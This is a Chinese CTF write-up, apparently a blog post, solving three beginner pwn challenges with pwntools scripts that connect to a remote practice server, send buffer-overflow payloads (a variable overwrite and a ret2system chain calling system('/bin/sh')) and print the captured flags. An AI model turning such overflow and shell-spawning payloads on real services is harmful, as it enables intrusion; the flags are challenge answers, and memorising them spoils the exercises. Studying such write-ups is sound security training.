hello_pwn

这里需要满足的条件是60016C处的字符串为nuaa

这里的话需要覆盖,从601068覆盖到6010CC即可,6010CC处用nuaa进行覆盖:
# coding:utf-8
from pwn import *
r = remote("111.200.241.244",57818)#远程连接
payload = 'a'*(0x6c-0x68)+ 'aaun'
r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
r.interactive()
这里传输的时候需要用大端形式,然后传过去自动改成小端。
运行之后如下:

cyberpeace{0f872662550ea7d0823054365105d87d}
level2


观察后,找到system地址和\bin\sh字符串(这个需要作为参数传入),但是在传参数之前,需要先传入system函数的返回地址(返回地址任意传,因为最后你不会返回)

# coding:utf-8
from pwn import *
shell=0x0804A024
system=0x08048320
r = remote("111.200.241.244",64449)
payload = 'a'*(0x88)+ 'a'*4+p32(system)+p32(0)+p32(shell)
r.recvuntil("Input:\n")
r.sendline(payload)
r.interactive()

注意调用一个函数结束后一定要返回 p32(0)就是system函数的返回地址
cyberpeace{30ea1f1d9c3c6b055e9d01b9f99ae84a}
get_shell

# coding:utf-8
from pwn import *
r = remote("111.200.241.244",57561)
r.interactive()
直接连接上就行,我居然在本地打开,笑死我自己。。

cyberpeace{ee3fab14022014edbe117b7c6e1132fa}
博客内容涉及了缓冲区溢出的利用技巧,通过Python的pwn库远程连接目标服务器,并构造特定payload进行内存地址覆盖,以达到修改字符串的效果。在后续的示例中,展示了如何寻找并利用system函数地址和/bin/sh字符串来获取shell。最终,博客作者展示了不同场景下获取shell的方法及其过程。
1725

被折叠的 条评论
为什么被折叠?



